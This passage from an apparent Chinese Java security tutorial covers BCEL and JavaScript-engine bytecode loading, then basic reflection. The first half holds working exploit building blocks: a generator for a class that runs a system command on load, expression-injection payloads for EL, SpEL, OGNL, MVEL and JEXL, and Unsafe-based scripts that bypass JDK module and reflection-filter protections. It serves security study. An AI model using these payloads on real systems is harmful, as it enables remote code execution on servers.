// 4. 实例化这个类(会执行类的构造函数)
aClass.newInstance();
}
}

首先代码使用 Repository.lookupClass(Evil.class) 来查找 Eval 这个类得到 BCEL 管理 Java 类所用的类型 JavaClass,然后通过 javaClass.getBytes() 获取到对应的字节码。这里 Repository 是 BCEL 提供的类,它用于查找和管理 Java 类,并且能够将类转换为原生字节码。

提示

这里只要有要加载的类的字节码即可,因此我们可以按照前面的方法用 javassist 动态生成一个:

1
String code = Utility.encode(getEvilClass("calc"), true);

getEvilClass 函数可以动态生成类的字节码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public static byte[] getEvilClass(String cmd) throws Exception {
ClassPool pool = ClassPool.getDefault();

// 创建类 EvilClass
CtClass ctClass = pool.makeClass("EvilClass");

// 构造器:一旦实例化,就会执行系统命令
CtConstructor constructor = new CtConstructor(new CtClass[]{}, ctClass);
constructor.setBody("Runtime.getRuntime().exec(\"" + cmd + "\");");
ctClass.addConstructor(constructor);

// 设置 class 文件版本,49 对应 Java 5,兼容性更好
ctClass.getClassFile().setMajorVersion(49);

// 返回生成的字节码数组
return ctClass.toBytecode();
}

之后通过 Utility.encode 将类的字节码编码非 BCEL ClassLoader 能够识别的编码形式,该函数定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
/** 
* 将字节数组编码为 Java 标识符字符串,即一个仅包含以下字符的字符串:
* (a, ... z, A, ... Z, 0, ... 9, _, $)。
* 编码算法本身并不复杂:如果当前字节的 ASCII 值已经是一个有效的 Java 标识符部分,则保持不变。
* 否则,它会写入转义字符 ($),后跟:
* <p><ul><li>ASCII 值的十六进制字符串,如果该值不在 200 到 247 之间</li>
* <li>一个未在小写十六进制字符串中使用的 Java 标识符字符,如果该值在 200 到 247 之间</li></ul></p>
*
* <p>此操作会使原始字节数组膨胀大约 40% 到 50%</p>
*
* @param bytes 要转换的字节数组
* @param compress 是否使用 GZIP 压缩以最小化字符串
*/
public static String encode(byte[] bytes, boolean compress) throws IOException {
if(compress) {
// 使用 GZIP 压缩字节数组
ByteArrayOutputStream baos = new ByteArrayOutputStream();
GZIPOutputStream gos = new GZIPOutputStream(baos);

gos.write(bytes, 0, bytes.length); // 将字节数组写入 GZIP 流
gos.close(); // 关闭 GZIP 输出流
baos.close(); // 关闭字节数组输出流

bytes = baos.toByteArray(); // 获取压缩后的字节数组
}

CharArrayWriter caw = new CharArrayWriter(); // 用于存储字符输出
JavaWriter jw = new JavaWriter(caw); // JavaWriter 用于将字节写入字符输出流

for(int i = 0; i < bytes.length; i++) {
int in = bytes[i] & 0x000000ff; // 将字节转换为无符号值
jw.write(in); // 将字节值写入 JavaWriter
}

return caw.toString(); // 返回编码后的字符串
}

我们首先需要将 Java 字节码进行 GZIP 压缩,之后借助 JavaWriter 将字节编码写入 CharArrayWriter 然后再转换成字符串输出。其中 JavaWriterwrite 方法会对字符进行转义操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// 用作转义前缀的特殊字符;凡遇到不可直接写出的字节,先写一个 '$' 再写编码内容
private static final char ESCAPE_CHAR = '$';

public void write(int b) throws IOException {
// 情况 A:如果 b 转成的字符本身就是“合法的 Java 标识符组成部分”
//(例如字母、数字、下划线等),且它本身不是转义前缀 '$',那么可以原样输出。
// 这样能最大程度保持可读性并缩短结果。
if (isJavaIdentifierPart((char) b) && (b != ESCAPE_CHAR)) {
out.write(b); // 直接写出该字符
} else {
// 情况 B:否则进入“转义模式”
// 先输出转义前缀 '$',表明接下来不是原字符,而是一个被编码后的表示
out.write(ESCAPE_CHAR);

// B-1:快速映射路径
// 若 b 落在预留的“快速/特殊映射”区间 [0, FREE_CHARS) 内,
// 则用 CHAR_MAP[b] 映射为“一个安全字符”写出。
// 这样做的目的:对常见字节值用 1 个字符完成编码,节省长度。
if (b >= 0 && b < FREE_CHARS) {
out.write(CHAR_MAP[b]); // 表驱动的 1 字符转义
} else {
// B-2:通用转义路径(两位十六进制)
// 对不在快速映射表内的字节,使用两位小写十六进制表示(高位在前)。
// 注意这里确保总是恰好两位:若只有一位,则在前面补 '0'。
// 这样可以在解码时按“每次读两位十六进制”的固定步长正确还原。
char[] tmp = Integer.toHexString(b).toCharArray();

if (tmp.length == 1) { // 例如十进制 5 -> 十六进制 "5"
out.write('0'); // 补成 "05"
out.write(tmp[0]);
} else { // 正常两位(或更长,见下提示)
out.write(tmp[0]);
out.write(tmp[1]); // 仅写入前两位,保持统一长度为 2
}
}
}
}

最后我们需要在编码后的字节码前面加上 $$BCEL$$ 标识,这样 BCEL ClassLoader 就可以正确识别类的字节码并动态加载类。

SPI(Service Provider Interface)

JS 引擎加载字节码

Java 有很多种表达式,不同表达式有不同的语法特点:有些必须要 用链式反射去调用方法,有些可以直接 new;有些表达式只能执行一 句,有些可以执行多句。想要做到武器化利用就要选取一种通用的中间层语言,去延展我们的利用链。

Java 6 开始,Java 引入了 JSR-223(Scripting for the Java Platform) 规范。这个规范提供了 javax.script 包,允许 Java 程序在运行时调用和执行脚本语言。开发者可以用它加载不同的脚本引擎,例如 JavaScript、Groovy、Python(Jython)等,从而在 Java 应用中实现动态逻辑。

我们可以通过下面这段代码测试当前环境支持那些脚本引擎:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public static void main(String[] args) {
ScriptEngineManager manager = new ScriptEngineManager();
List<ScriptEngineFactory> factories = manager.getEngineFactories();
for (ScriptEngineFactory factory: factories){
System.out.printf(
"Name: %s%n" + "Version: %s%n" + "Language name: %s%n" +
"Language version: %s%n" +
"Extensions: %s%n" +
"Mime types: %s%n" +
"Names: %s%n",
factory.getEngineName(),
factory.getEngineVersion(),
factory.getLanguageName(),
factory.getLanguageVersion(),
factory.getExtensions(),
factory.getMimeTypes(),
factory.getNames()
);
}
}

在这些脚本引擎中, JS 引擎非常符合我们的要求:

  • 一行代码即可调用 JS 引擎,在 JS 引擎中可以执行多句。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    // EL:
    ${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval()}

    // SpEL:
    T(javax.script.ScriptEngineManager).newInstance().getEngineByName("js").eval()

    // Ognl:
    (new javax.script.ScriptEngineManager()).getEngineByName("js").eval()

    // MVEL:
    new javax.script.ScriptEngineManager().getEngineByName("js").eval();

    // JEXL:
    ''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval()
  • JDK6-14 都可以使用,基本满足对兼容性的需要。

  • 可以间接调用 Java 方法,实现任意代码执行。

由于 JS 引擎的限制,很多比如注入内存马、加载 Shellcode 等相关操作在 JS 引擎中实现较为麻烦,涉及到 Java 跟 JS 类型之间的转换,容易有 BUG,无法直接复用原有的很多基于字节码的 Payload。为了实现任意代码执行的完全体,还是需要做到任意字节码的加载

JDK8 任意字节码加载

Java 的 JS 引擎可以调用 Java 本身的 API,因此我们可以通过 JS 引擎执行一段 JS 代码来反射调用 defineClass 方法来动态加载字节码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
var classBytes = Base64DecodeToByte(Classdata);
var byteArray = Java.type("byte[]");
var int = Java.type("int");
var defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod(
"defineClass",
byteArray.class,
int.class,
int.class
);
defineClassMethod.setAccessible(true);
var cc = defineClassMethod.invoke(
Thread.currentThread().getContextClassLoader(),
classBytes,
0,
classBytes.length
);
return cc.getConstructor(java.lang.String.class).newInstance(cmd);

然后借助 ScriptEngineManager 执行这段 JS 代码实现任意字节码加载:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public static byte[] getEvilClass(String cmd) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("EvilClass");

CtConstructor constructor = new CtConstructor(new CtClass[]{}, ctClass);
constructor.setBody("Runtime.getRuntime().exec(\"" + cmd + "\");");
ctClass.addConstructor(constructor);

ctClass.getClassFile().setMajorVersion(49);

return ctClass.toBytecode();
}

public static String getJsPayload(String code) throws Exception {
return "var data = '" + code + "';" +
"var bytes = java.util.Base64.getDecoder().decode(data);" +
"var int = Java.type(\"int\");" +
"var defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod(\"defineClass\", bytes.class, int.class, int.class);" +
"defineClassMethod.setAccessible(true);" +
"var cc = defineClassMethod.invoke(java.lang.Thread.currentThread().getContextClassLoader(), bytes, 0, bytes.length);" +
"cc.getConstructor().newInstance();";
}

public static void main(String[] args) throws Exception {
ScriptEngineManager manager = new ScriptEngineManager();
manager.getEngineByName("js").eval(getJsPayload(Base64.getEncoder().encodeToString(getEvilClass("calc"))));
}

JDK6/7 Rhino下调用defineClass

JDK6/7 开始引入 JS 引擎,采用 Rhino 实现,不支持 Java.type 等方便的接口获取 Java 类型的操作,因此上述 Payload 在反射调用 ClassLoader.defineClass 会有玄学报错。

解决方法是使用 Unsafe 类下的 defineClass 绕过, BCELClassLoader 也可以,不过 Payload 跟后续的不通用。

1
2
3
4
5
6
7
8
9
10
11
12
13
var classBytes = Base64DecodeToByte(Classdata);
var unsafeField = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
unsafe = unsafeField.get(null);
clz = unsafe.defineClass(
null,
classBytes,
0,
classBytes.length,
null,
null
);
clz.newInstance();

JDK9/10/11 绕过模块隔离强行反射方法

JDK11移除了 Unsafe.defineClass 方法,因此上述代码会出现如下报错:

TypeError: unsafe.defineClass is not a function in at line number 27

而 JDK9 引入了的模块化系统,因为 java.base 模块并没有开放 java.lang 包给 jdk.scripting.nashorn.scripts 模块因此如果使用 defineClass 加载字节码则会遇到无法强行对 defineClass 方法 setAccessible(true)

Unable to make protected final java.lang.Class java.lang.ClassLoader.defineClass(byte[],int,int) throws java.lang.ClassFormatError accessible: module java.base does not “opens java.lang” to module jdk.scripting.nashorn.scripts

java.lang.reflect.AccessibleObject#checkCanSet 的 Accessible 会通过 Modifier 判断权限修饰符,通过 Unsafe 类强行将其变为 public 方法可以绕过上述问题。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
var Unsafe = Java.type("sun.misc.Unsafe");
var field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
var unsafe = field.get(null); // 获取 unsafe 实例

var Modifier = Java.type("java.lang.reflect.Modifier");
var byteArray = Java.type("byte[]");
var int = Java.type("int");

var defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod(
"defineClass",
byteArray.class,
int.class,
int.class
); // 获取 defineClass 方法

var modifiers = defineClassMethod.getClass().getDeclaredField("modifiers"); // 获取 defineClass 的 modifiers 字段

unsafe.putShort(
defineClassMethod,
unsafe.objectFieldOffset(modifiers),
Modifier.PUBLIC
);

var cc = defineClassMethod.invoke(
java.lang.Thread.currentThread().getContextClassLoader(),
classBytes,
0,
classBytes.length
);

cc.newInstance();

JDK12/13/14绕过fieldFilterMap

JDK>=12 报错提示:没有 modifiers 字段

Caused by: java.lang.NoSuchFieldException: modifiers at java.base/java.lang.Class.getDeclaredField(Class.java:2416)

核心原因在于 jdk.internal.reflect.Reflection#fieldFilterMap 的变化。

1
2
3
4
5
6
7
8
9
10
11
fieldFilterMap = Map.of(
Reflection.class, ALL_MEMBERS,
AccessibleObject.class, ALL_MEMBERS,
Class.class, Set.of("classLoader"),
ClassLoader.class, ALL_MEMBERS,
Constructor.class, ALL_MEMBERS,
Field.class, ALL_MEMBERS,
Method.class, ALL_MEMBERS, // 禁止反射获取 Method 中的所有属性
Module.class, ALL_MEMBERS,
System.class, Set.of("security")
);

置空 fieldFilterMap

我们可以通过反射置空 fieldFilterMap 绕过上述限制:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function bypass() {
// 获取Unsafe对象
var Unsafe = Java.type('sun.misc.Unsafe');
var HashMap = Java.type('java.util.HashMap');
var field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
var unsafe = field.get(null);

// 利用defineAnonymousClass获取fieldFilterMap偏移
var classClass = Java.type("java.lang.Class");
var reflectionClass = java.lang.Class.forName("jdk.internal.reflect.Reflection");
var classBuffer = reflectionClass.getResourceAsStream("Reflection.class").readAllBytes();
var reflectionAnonymousClass = unsafe.defineAnonymousClass(reflectionClass, classBuffer, null);
var fieldFilterMapField = reflectionAnonymousClass.getDeclaredField("fieldFilterMap");

// 清空原有的fieldFilterMap
if (fieldFilterMapField.getType().isAssignableFrom(HashMap.class)) {
unsafe.putObject(reflectionClass, unsafe.staticFieldOffset(fieldFilterMapField), new HashMap());
}

// 清除缓存
var clz = java.lang.Class.forName("java.lang.Class").getResourceAsStream("Class.class").readAllBytes();
var ClassAnonymousClass = unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), clz, null);
var reflectionDataField = ClassAnonymousClass.getDeclaredField("reflectionData");
unsafe.putObject(classClass, unsafe.objectFieldOffset(reflectionDataField), null);
}

完整代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
var theUnsafeMethod = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
theUnsafeMethod.setAccessible(true);
unsafe = theUnsafeMethod.get(null);

function bypass() {
var reflectionClass = java.lang.Class.forName("jdk.internal.reflect.Reflection");
var classBuffer = reflectionClass.getResourceAsStream("Reflection.class").readAllBytes();
var reflectionAnonymousClass = unsafe.defineAnonymousClass(reflectionClass, classBuffer, null);

var fieldFilterMapField = reflectionAnonymousClass.getDeclaredField("fieldFilterMap");

if (fieldFilterMapField.getType().isAssignableFrom(java.lang.Class.forName("java.util.HashMap"))) {
unsafe.putObject(reflectionClass, unsafe.staticFieldOffset(fieldFilterMapField), java.lang.Class.forName("java.util.HashMap").newInstance());
}
var clz = java.lang.Class.forName("java.lang.Class").getResourceAsStream("Class.class").readAllBytes();
var ClassAnonymousClass = unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), clz, null);
var reflectionDataField = ClassAnonymousClass.getDeclaredField("reflectionData");
unsafe.putObject(java.lang.Class.forName("java.lang.Class"), unsafe.objectFieldOffset(reflectionDataField), null);
}

function Base64DecodeToByte(str) {
var bt;
try {
bt = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance().decodeBuffer(str);
} catch (e) {
bt = java.util.Base64.getDecoder().decode(str);
}
return bt;
}

function defineClass(classBytes) {
try {
unsafe.defineClass(null, classBytes, 0, classBytes.length, null, null).newInstance();
} catch (e) {
bypass()
var defineClassMethod = java.lang.Class.forName("java.lang.ClassLoader").getDeclaredMethod(
"defineClass",
java.lang.Class.forName("[B"),
java.lang.Integer.TYPE,
java.lang.Integer.TYPE
);
var modifiers = defineClassMethod.getClass().getDeclaredField("modifiers");
unsafe.putShort(defineClassMethod, unsafe.objectFieldOffset(modifiers), 0x00000001);
var cc = defineClassMethod.invoke(
java.lang.Thread.currentThread().getContextClassLoader(),
classBytes,
0,
classBytes.length
);
cc.newInstance();
}
}
defineClass(Base64DecodeToByte(code));

使用 Unsafe#defineAnonymousClass 代替

如果仅仅是为了defineClass,不需要绕过 JDK 机制那么麻烦, 别忘了 Unsafe#defineAnonymousClass 是没有被移除的。

1
2
3
4
5
6
function defineClass(classBytes) {
var theUnsafe = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
unsafe = theUnsafe.get(null);
unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), classBytes, null).newInstance();
}

反射

Java 反射(Reflection)机制是 Java 提供的一种非常强大的功能,它允许程序在运行时 动态地获取类的信息,并能够 操作类的方法、字段、构造器等成员。反射机制提供了对类、方法、字段等元数据的访问,而不需要在编译时提前知道这些信息。

反射机制的核心是 java.lang.reflectjava.lang.Class

JVM 为每个加载的类创建了对应的 java.lang.Class 实例,并在该实例中保存了类的所有信息。因此,如果我们获取了某个类的 Class 实例,我们就可以通过这个 Class 实例获取到该实例对应 java.lang.reflect 包提供的一系列类的实例。通过获取到的这些实例,我们可以获取类的信息(如构造方法、字段、方法等),并能 操作对象的字段调用方法
在这里插入图片描述

  • Method:表示类中的方法,允许程序获取、调用类的方法。
  • Field:表示类的字段,允许程序访问、修改对象的字段(包括私有字段)。
  • Constructor:表示类的构造器,允许动态创建类的实例。

获取 Class 实例

每个 Java 类在运行时都有一个唯一的 Class 对象,该对象包含了该类的所有信息。反射的前提就是先要获取到这个 Class 对象。通常我们有三种获取方式这个 Class 对象。
在这里插入图片描述

通过类名获取

可以借助 Class 类的 forName 方法来获取 Class 实例,参数是目标类的全限定类名

1
Class<?> clazz = Class.forName("com.example.MyClass");

在 Java 中,类名(Class Name)指的是用于标识的名称。

Java 中的类名可能有多个相同的类名,这些类名可能位于不同的包中。为了区分它们,我们需要使用 全限定类名,即包含包名的类名。

例如:java.util.ArrayList,这里 java.util 是包名,ArrayList 是类名。整个字符串 java.util.ArrayList 就是该类的全限定类名

由于 Class 实例存放着类的所有信息,因此我们可以通过 ClassgetName 方法获取一个类的全限定名称。

1
System.out.println(MyClass.class.getName());

通过对象获取

1
2
MyClass obj = new MyClass();
Class<?> clazz = obj.getClass();

通过类获取

1
Class<?> clazz = MyClass.class;

操作字段

获取字段

反射提供了两种方法来获取字段信息:

  • getField(String name) :获取公共字段(包括父类中的公共字段)。如果字段是私有的或保护的,它将抛出 NoSuchFieldException 异常。

    1
    public Field getField(String name) throws NoSuchFieldException
  • getDeclaredField(String name) :获取当前类声明的字段(包括私有字段,但不包括继承的字段)。如果字段不存在,则抛出 NoSuchFieldException 异常。

    1
    public Field getDeclaredField(String name) throws NoSuchFieldException

另外对于获取到的私有字段,反射提供了 setAccessible(boolean flag) 方法来允许对私有字段的访问。

1
public void setAccessible(boolean flag) throws SecurityException

其中参数 flag

  • 如果为 true,则表示允许访问字段(即使该字段是 privateprotected 或包内字段)。
  • 如果为 false,则恢复字段的访问控制。

getDeclaredField 的基础上我们还可以循环遍历当前类的父类从而确保继承的字段也能获取到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 逐级获取字段,使用 while 循环并实现 getDeclaredField
public static Field getDeclaredField(Class<?> clazz, String fieldName) {
// 使用 while 循环遍历类及其父类
while (clazz != null) {
try {
// 尝试获取当前类的指定字段
Field field = clazz.getDeclaredField(fieldName); // 尝试获取字段
field.setAccessible(true); // 允许对私有字段的访问

return field;
} catch (NoSuchFieldException e) {
// 如果当前类没有该字段,则继续查找父类
clazz = clazz.getSuperclass();
}
}
// 如果找不到字段,返回 null
return null;
}

反射还提供了 getFields()getDeclaredFields() 方法来获取类的所有字段:

  • getFields() :返回当前类及其父类中所有公共字段。

    1
    public Field[] getFields() throws SecurityException
  • getDeclaredField :返回当前类中所有声明的字段(包括私有字段)。

    1
    public Field[] getDeclaredFields() throws SecurityException

获取字段值

获取字段值是 Java 反射机制中的一个常见操作。我们可以使用 Field 对象的 get(Object obj) 方法可以来获取字段的值。

1
public Object get(Object obj) throws IllegalArgumentException, IllegalAccessException

注意

同名字段在子类里只会“遮蔽”父类字段;拿哪个 Field,就只访问哪个类型里声明的那一个。

1
2
3
4
5
6
7
8
9
class A { public int x = 1; }
class B extends A { public int x = 2; }

Field fA = A.class.getField("x");
Field fB = B.class.getField("x");
B b = new B();

System.out.println(fA.get(b)); // 1 ← 访问的是 A.x
System.out.println(fB.get(b)); // 2 ← 访问的是 B.x
  • 实例字段:field.get(obj) 要求 objdeclaringClass 的实例/子类
  • 静态字段:obj 参数被忽略,可传 null

我们通常把获取字段值的操作封装成 getFieldValue 函数方便使用:

1
2
3
4
5
public static Object getFieldValue(Object object, String fieldName) throws Exception {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(object);
}

由于字段可能是从父类中继承的,因此我们可以使用前面实现的 getDeclaredField 函数来获取字段。

1
2
3
public static Object getFieldValue(Object object, String fieldName) throws Exception {
return getDeclaredField(object.getClass(), fieldName).get(object);
}

设置字段值

同样的,使用 Field 对象的 set(Object obj, Object value) 方法可以设置字段的值。

1
public void set(Object obj, Object value) throws IllegalArgumentException, IllegalAccessException

我们通常把获取字段值的操作封装成 setFieldValue 函数方便使用:

1
2
3
4
5
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}

如果修改的字段可能是从父类中继承的,则使用前面实现的 getDeclaredField 函数来获取字段。

1
2
3
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
getDeclaredField(object.getClass(), fieldName).set(object, value);
}

修改 final 变量

如果是 final 修饰的成员,即使通过反射也无法直接修改,这是由于 Field 对象的 modifiers 成员的 FINAL 位置位导致的。

Field 对象的 modifiers 成员用于表示字段的访问修饰符(如 publicprivatestaticfinal 等)。这个成员变量是一个整数值,表示该字段的修饰符组合。我们可以先通过反射修改 Field 对象的 modifiers 成员,然后再反射修改成员变量。

1
2
3
4
5
6
7
8
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
Field field = getDeclaredField(object.getClass(), fieldName);

Field modifiers = getDeclaredField(field.getClass(), "modifiers");
modifiers.setInt(field, field.getModifiers() & ~Modifier.FINAL);

field.set(object, value);
}

注意

我们在验证常量是否修改时不能直接通过属性访问获取常量的值。因为 Java 编译器在编译的时候会认为常量不可修改,导致直接通过属性访问获取常量值的操作的过程会被优化掉,获取的结果还是原来的值。

例如下面的测试代码中:

1
2
3
4
FinalTest test = new FinalTest();
setFieldValue(test,"secret","G0T_Y0U");
System.out.println(test.secret);
System.out.println(getFieldValue(test,"secret"));

System.out.println(test.secret);test.secret 会被优化成 secret 原本的值造成常量未被修改的假象。

1
2
LDC "Y0U_C4nNot_M0d1fy_M3"
INVOKEVIRTUAL java/io/PrintStream.println (Ljava/lang/String;)V

操作方法

获取方法

反射提供了两种方法来获取类的方法信息:

  • getMethod(String name, Class<?>... parameterTypes) :获取 公共方法(包括从父类继承的公共方法)。如果方法不存在或者不是 public,会抛出 NoSuchMethodException

    1
    public Method getMethod(String name, Class<?>... parameterTypes) throws NoSuchMethodException
    • name :方法名。
    • parameterTypes :方法参数类型列表。如果方法没有参数,可以传递空数组或省略。
  • getDeclaredMethod(String name, Class<?>... parameterTypes) :获取 当前类声明的方法(包括 privateprotected 方法,但不包括继承的方法)。如果方法不存在,则抛出 NoSuchMethodException

    1
    public Method getDeclaredMethod(String name, Class<?>... parameterTypes) throws NoSuchMethodException

同样的,我们可以实现一个可以获取从父类继承的方法的 getDeclaredMethod 函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public static Method getDeclaredMethod(Class<?> clazz, String methodName, Class<?>... parameterTypes) {
// 使用 while 循环遍历类及其父类
while (clazz != null) {
try {
// 尝试获取当前类的指定方法
Method method = clazz.getDeclaredMethod(methodName, parameterTypes);
method.setAccessible(true);
return method;
} catch (NoSuchMethodException e) {
// 如果当前类没有该方法,则继续查找父类
clazz = clazz.getSuperclass();
}
}
// 如果找不到方法,返回 null
return null;
}

反射还提供了 getMethods()getDeclaredMethods() 方法来获取类的所有方法:

  • getMethods() :返回当前类及其父类中所有公共方法。

    1
    public Method[] getMethods() throws SecurityException
  • getDeclaredMethods() :返回当前类中所有声明的方法(包括私有方法)。

    1
    public Method[] getDeclaredMethods() throws SecurityException

调用方法

使用 Method 对象的 invoke(Object obj, Object... args) 方法可以调用类的方法。

1
public Object invoke(Object obj, Object... args) throws IllegalAccessException, IllegalArgumentException, InvocationTargetException
  • obj 是调用方法的对象,如果方法是 static,需要传入 null 占位。
  • args 是方法的参数。
在这里插入图片描述 对于连续调用的情况,由于反射调用时对象是作为参数传入的,因此方法的书写顺序发生改变。 ![invoke](images/invoke.svg)

注意

  • 通过反射获取的方法如果因可见性规则无法直接调用,必须在调用前先执行 setAccessible(true),否则会抛出 IllegalAccessException

  • Method 绑定的是“声明它的类型”而不是具体实例。只要目标对象是该类型或其子类/实现类,用这个 Method#invoke 调就行;真正执行哪个方法体取决于目标对象的实际运行时类型

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    interface I { void f(); }
    class A implements I { public void f(){ System.out.println("A"); } }
    class B extends A { @Override public void f(){ System.out.println("B"); } }

    I x = new B();

    Method mI = I.class.getMethod("f"); // 声明者:I
    Method mA = A.class.getMethod("f"); // 声明者:A

    mI.invoke(x); // 输出 B ✅(接口 Method 调到 B.f)
    mA.invoke(x); // 仍然输出 B ✅(A 的 Method 也调到 B.f)
    System.out.println(mI.equals(mA)); // false(声明者不同)
    • 归属method.getDeclaringClass() 指出它在哪个类型上声明。
      I.class.getMethod("f")C.class.getMethod("f")两个不同Method(声明者不同)。
    • 可用范围(实例方法):invoke(target, …) 要求 targetdeclaringClass 的实例/子类;若 declaringClass 是接口,则 target 实现了该接口即可。
    • 实际执行体:无论你拿的是接口上的 Method 还是实现类上的 Method最终执行都按目标对象的实际类型来决定(覆盖 → 调子类实现)。

操作构造函数

获取构造函数

Java 反射提供了两种方法来获取类的构造函数:

  • getConstructor(Class<?>... parameterTypes) :获取 公共构造函数,如果当前类没有公共构造函数则尝试获取父类中的公共构造函数。如果找不到公共构造函数则会抛出 NoSuchMethodException 异常。

    1
    public Constructor<T> getConstructor(Class<?>... parameterTypes) throws NoSuchMethodException
    • parameterTypes :构造函数参数类型列表。如果构造函数没有参数,可以传递空数组或省略。
  • getDeclaredConstructor(Class<?>... parameterTypes) :获取 当前类声明的构造函数(包括 privateprotected 构造函数,但不包括继承的构造函数)。如果构造函数不存在,则抛出 NoSuchMethodException

    1
    public Constructor<T> getDeclaredConstructor(Class<?>... parameterTypes) throws NoSuchMethodException

注意

在 Java 里,一个类可以定义多个重载的构造器;只有当这个类完全没有自己声明任何构造器时,编译器才会隐式生成一个无参构造器,它的可见性与类一致,并且默认第一句是调用 super()

一旦你在类里声明了任意构造器(哪怕只有一个带参数的),这个隐式的无参构造器就不会再生成;如果你仍然希望能写 new Example(),就需要显式补上 Example(){}

在反射层面,只有当类里真的存在无参构造器时,Example.class.getDeclaredConstructor() 才会成功;如果类里没有无参构造器(例如只声明了带参的那个),调用就会抛 NoSuchMethodException

另外要留意一些特殊形态:非静态内部类在字节码上有隐藏的“外部类实例”参数,enum 和大多数 record 也没有真正的无参构造器,因此这些场景都不要依赖“默认无参构造器”的假设。

非静态内部类每个实例都必须隶属于一个外部类实例,因此它的构造器在字节码里会额外带上一个“外部类实例”的隐藏参数。写代码时你看见的是 Inner(),但反射看到的其实是类似 (Outer) 的构造器,所以用空参数拿不到,必须带上 Outer.class 才行,例如:

1
2
3
4
5
6
7
8
9
10
class Outer {
class Inner { Inner() {} }
}

// 创建需要外部实例:
new Outer().new Inner(); // ✅
new Outer.Inner(); // ❌

Outer.Inner.class.getDeclaredConstructor(); // ❌ NoSuchMethodException
Outer.Inner.class.getDeclaredConstructor(Outer.class); // ✅

带一提,静态内部类static class)不带外部实例参数,它的构造器就跟普通顶层类一样;是否有无参仍然取决于你有没有自己声明过其它构造器。

枚举就算你源码里写了 Color(){},编译器也会在构造器里偷偷加上 (String name, int ordinal) 这两个参数来记录常量名和序号,所以反射层面它并不是“无参”。你会看到空参拿不到,而能看到一个形如 (String, int) 的构造器:

1
2
3
4
5
6
7
enum Color { RED; Color() {} }

Color.class.getDeclaredConstructor(); // ❌
for (Constructor<?> c : Color.class.getDeclaredConstructors()) {
System.out.println(java.util.Arrays.toString(c.getParameterTypes()));
// 通常会打印: [class java.lang.String, int]
}

record 的“正则构造器”参数就是它的所有组件;比如 record Point(int x, int y) {} 的构造器就是 (int, int),自然不是无参,只有“零组件”的记录类 record Empty(){} 才会是无参:

1
2
3
4
5
6
record Point(int x, int y) {}
Point.class.getDeclaredConstructor(); // ❌
Point.class.getDeclaredConstructor(int.class, int.class); // ✅

record Empty() {}
Empty.class.getDeclaredConstructor(); // ✅

有些情况下,我们想要获取的构造函数位于父类中且访问类型不为 public,此时需要参考前面的方法使用逐级查找父类的方式来获取:

1
2
3
4
5
6
7
8
9
10
11
12
13
public static Constructor<?> getDeclaredConstructor(Class<?> clazz, Class<?>... parameterTypes) {
// 使用 while 循环遍历类及其父类
while (clazz != null) {
try {
Constructor<T> constructor = clazz.getDeclaredConstructor(parameterTypes);
constructor.setAccessible(true);
return constructor;
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass(); // 如果当前类没有该构造函数,则继续查找父类
}
}
return null;
}

反射还提供了 getConstructors()getDeclaredConstructors() 方法来获取类的所有构造函数:

  • getConstructors() :返回当前类及其父类中所有公共构造函数。

    1
    public Constructor<?>[] getConstructors() throws SecurityException
  • getDeclaredConstructors() :返回当前类中所有声明的构造函数(包括私有构造函数)。

    1
    public Constructor<?>[] getDeclaredConstructors() throws SecurityException

创建对象

首先 Class 对象本身的 newInstance 方法可以调用类的无参构造函数创建类的实例。

1
public T newInstance() throws InstantiationException, IllegalAccessException;

不过这个方法只能调用无参构造函数,且私有的构造函数无法调用,因此比较鸡肋。

另外从 Java 9 开始,Class.newInstance() 方法已经被标记为废弃(deprecated)。推荐使用 Constructor.newInstance() 代替它。

我们可以先获取类的指定构造函数对应的 Constructor 对象,然后调用 Constructor 对象的 newInstance(Object... initargs) 方法从而调用类的构造函数实例化类。

1
